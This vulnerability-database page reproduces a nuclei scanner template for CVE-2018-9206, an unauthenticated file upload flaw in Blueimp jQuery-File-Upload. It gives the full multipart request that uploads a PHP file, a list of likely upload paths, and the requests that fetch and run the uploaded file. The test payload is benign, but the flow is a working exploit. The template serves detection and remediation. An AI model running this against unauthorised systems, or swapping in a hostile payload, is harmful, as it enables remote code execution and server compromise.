Lucene search
+L

Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload

🗓️ 14 Aug 2026 03:38:04Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 28 Views

Blueimp jQuery-File-Upload v9.22.0 allows unauthenticated arbitrary file upload due to insufficient validation.

Related
Refs
Code
id: CVE-2018-9206

info:
  name: Blueimp jQuery-File-Upload v9.22.0 - Unrestricted File Upload
  author: thewindghost
  severity: critical
  description: |
    Blueimp jQuery-File-Upload v9.22.0 contains an unauthenticated arbitrary file upload caused by insufficient validation in the upload component, letting remote attackers upload malicious files, exploit requires no authentication.
  impact: |
    Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
  remediation: |
    Update to the latest version of Blueimp jQuery-File-Upload.
  reference:
    - https://www.exploit-db.com/exploits/45790
    - https://www.exploit-db.com/exploits/46182/
    - https://github.com/blueimp/jQuery-File-Upload/pull/3514
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-9206
    epss-score: 0.97255
    epss-percentile: 0.9989
    cwe-id: CWE-434
  metadata:
    verified: true
  tags: cve,cve2018,jquery,file-upload,rce,intrusive,vkev

variables:
  filename: "{{rand_text_alphanumeric(8)}}"
  hash: "CVE-2018-9206"

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}

        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="files[]"; filename="{{filename}}.php"
        Content-Type: application/x-php

        <?php echo md5("{{hash}}"); ?>
        ------WebKitFormBoundary{{randstr}}--

      - |
        GET {{path}}/files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}


      - |
        GET /files/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - "/jQuery-File-Upload/server/php/index.php"
        - "/jquery-file-upload/server/php/index.php"
        - "/server/php/upload.class.php"
        - "/server/php/UploadHandler.php"
        - "/example/upload.php"
        - "/php/index.php"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - "contains(body, '{{md5(hash)}}')"
          - "status_code == 200"
        condition: and
# digest: 4a0a004730450221009ea96b2b8cbb4b460352ad036cd8c3c5d0e35ab9add177d64f758e844fb8affd02202d563b613c1efe0a64bac8f63c2dfd66d0d2a1140a3b68a93df18011805e7375:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation